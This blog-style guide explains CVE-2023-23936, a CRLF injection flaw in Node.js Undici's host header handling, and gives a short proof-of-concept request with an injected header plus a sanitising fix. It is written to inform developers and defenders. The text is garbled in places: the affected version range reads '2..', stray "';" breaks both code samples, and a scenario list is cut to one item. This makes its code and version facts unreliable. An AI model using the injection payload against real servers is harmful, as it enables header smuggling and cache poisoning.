CVE-2023-23936 - CRLF Injection in Node.js Undici – Full Guide, Exploit Details, and Fix

Undici is a popular HTTP/1.1 client for Node.js that’s known for being *fast* and *lightweight*. But in early 2023, a critical security vulnerability—CVE-2023-23936—was found in Undici versions from 2.. up to, but not including, 5.19.1. This flaw allowed malicious input in the HTTP host header, leading to CRLF injection and opening the door to attacks like HTTP response splitting.

In this post, I’ll break down the vulnerability in plain language, show you how it can be exploited with real code, and tell you how to secure your apps. Think of this as the best resource for developers running Node.js and Undici.

What is CVE-2023-23936?

CVE-2023-23936 is a security hole in Undici, where it fails to properly clean or “sanitize” the value passed as the HTTP host header. If an attacker sneaks in special characters (\r\n — carriage return, line feed), they can “inject” new headers or even a complete response.

- You let users set their own host (bad idea!). An attacker sends

  mydomain.com\r\nInjected-Header: hack
  

- The raw headers now look like

  Host: mydomain.com
  Injected-Header: hack
  


- The server sees a new header, which can disrupt responses, hijack caches, set cookies, or even launch XSS attacks!

Below is a test Node.js script showing how the bug works in vulnerable versions of Undici

const { request } = require('undici');

// Unsanitized user input (attacker can add CRLF chars)
const evilHost = 'example.com\r\nInjected-Header: hack';

request('http://your.target.com/';, {
  method: 'GET',
  headers: {
    host: evilHost
  }
}).then(res => {
  // Handle response (or watch target server logs for "Injected-Header: hack")
  res.body.text().then(console.log);
}).catch(console.error);

Undici does NOT check for \r\n in the host header.

- The HTTP request sent over the network injects a brand new header that says Injected-Header: hack.

On the *receiving server*, this header appears to be legitimate.

- Worse: Other headers, cookies, or entire responses could be crafted, if the attacker controls enough data—depending on where host is used.

Real-World Exploit Scenarios

- Web Cache Poisoning: Attackers poison shared cache through a fake header, serving bad data to lots of users.

How Was It Fixed?

The Undici team patched this in v5.19.1 (release notes), where they sanitize all header values—including host—and reject any that include CR, LF, or other disallowed characters.

- Simply run

  npm install undici@latest
  

If you can’t upgrade, make absolutely sure to clean the host header before passing it to Undici

function sanitizeHeader(str) {
  return str.replace(/[\r\n]/g, '');
}

// Example usage
const safeHost = sanitizeHeader(userInputHost);

request('http://api.example.com/';, {
  headers: {
    host: safeHost
  }
});


Never trust user input in *any* HTTP header, but especially not in the host header.

More Reading & Original References

- Undici Security Advisory
- NIST NVD Entry
- Undici Release Notes for v5.19.1
- What Is CRLF Injection? (OWASP)

Bottom Line

If you’re running Undici <5.19.1 and let any user value determine HTTP headers (even just host), you are at risk. Update *now*, or sanitize all inputs. Vulnerabilities like CVE-2023-23936 are a great reminder: *never trust external data, especially when it comes to protocol-level inputs.*

Be safe, and keep your dependencies up to date!

*Written exclusively for you. Please share responsibly. For any further info, check out the links above.*

Timeline

Published on: 02/16/2023 18:15:00 UTC
Last modified on: 02/24/2023 19:14:00 UTC